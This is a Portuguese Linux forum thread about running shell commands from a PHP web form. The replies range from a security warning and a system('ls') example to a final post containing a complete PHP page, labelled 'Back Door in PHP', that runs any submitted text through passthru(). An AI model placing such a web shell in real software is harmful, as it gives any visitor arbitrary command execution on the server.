comandos de linux no shell com php

1. comandos de linux no shell com php

Itachi
itachi uchiha

(usa Ubuntu)

Enviado em 01/09/2011 - 23:19h

Salve pessoal!!

Galera é o seguinte, estou querendo fazer um formulário de controle em php... nesse formulario eu queria acrescentar alguns botoes onde, quando é clicado ele chama um determinado arquivo em shell.. nesse arquivo em shell queria colocar comandos do Linux como ls, user etc etc..

Gostaria de saber se é possível, caso seja, queria saber se tem alguma coisa em especial para fazer...

eu sei criar os shells e sei fazer o formulário...

Obrigado desde já!



  


2. Re: comandos de linux no shell com php

Éderlo Rodrigo de oliveira
Ederlo

(usa Debian)

Enviado em 27/11/2011 - 14:36h

Boa tarde Amigão!

É possível sim! Mas não é aconselhável o uso de dessas funções ex.: exec() ou sell_exec() . É comum elas serem desativas no php, e casa aja falhas em seu código é o mesmo que abrir o servidor para o visitante dar algumas voltinhas, e como sabe nem todo visitante é educado kkkk.

Você pode usar o formulário para inserir dados no DB, e agendar um script no cron, assim ele se torna um robozinho, que verifica a existência de novos registros.

Pode ser feito acrescentando a linha abaixo antes da abertura do php.

#!/usr/bin/php
<?php

//consulta dados
// executa comandos.

?>

É uma ideia, agora depende de você formar a lógica toda. Acredito que exista uma forma melhor para fazer :D


3. Sugestão

Saint Clair de Sousa Izidoro
saint_clair

(usa Slackware)

Enviado em 29/11/2011 - 09:17h

Olá itachi uchiha,

Seguindo o raciocínio do Ederlo, recomendo a utilização dos comandos "system" (http://php.net/manual/pt_BR/function.system.php) ou do "passthru" (http://www.php.net/manual/pt_BR/function.passthru.php), sendo o primeiro o retorno da última linha processada e o último o retorno "cru" utilizado para quando os dados binários precisam ser passados diretamente de volta para o browser.

[ exemplo ]

<?php

$last_line = system('ls', $retval);

echo "Última linha da saída: {$last_line}";
echo "Valor de Retorno: {$retval}";

?>


<Vida longa e próspera/>


4. Re: comandos de linux no shell com php

Adriano Moreira da Silva
adri3d

(usa Arch Linux)

Enviado em 01/12/2011 - 23:49h

com as dicas do colega acima crie o seguinte codigo
<!DOCTYPE HTML>
<html>
<head>
<title>Back Door in PHP</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>
<form method="post">
<b>command:</b>
<input type="text" name=cmd>
<input type="submit">
</form>
<br>
<pre><?php passthru($_POST['cmd']);?> </pre>
</body>
</html>



um detale é que os comandos são executados pelo usuário do apache, não da para destruir muita coisa, mas da para dar uma boa bisbilhotada na maquina servidor.



  



Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts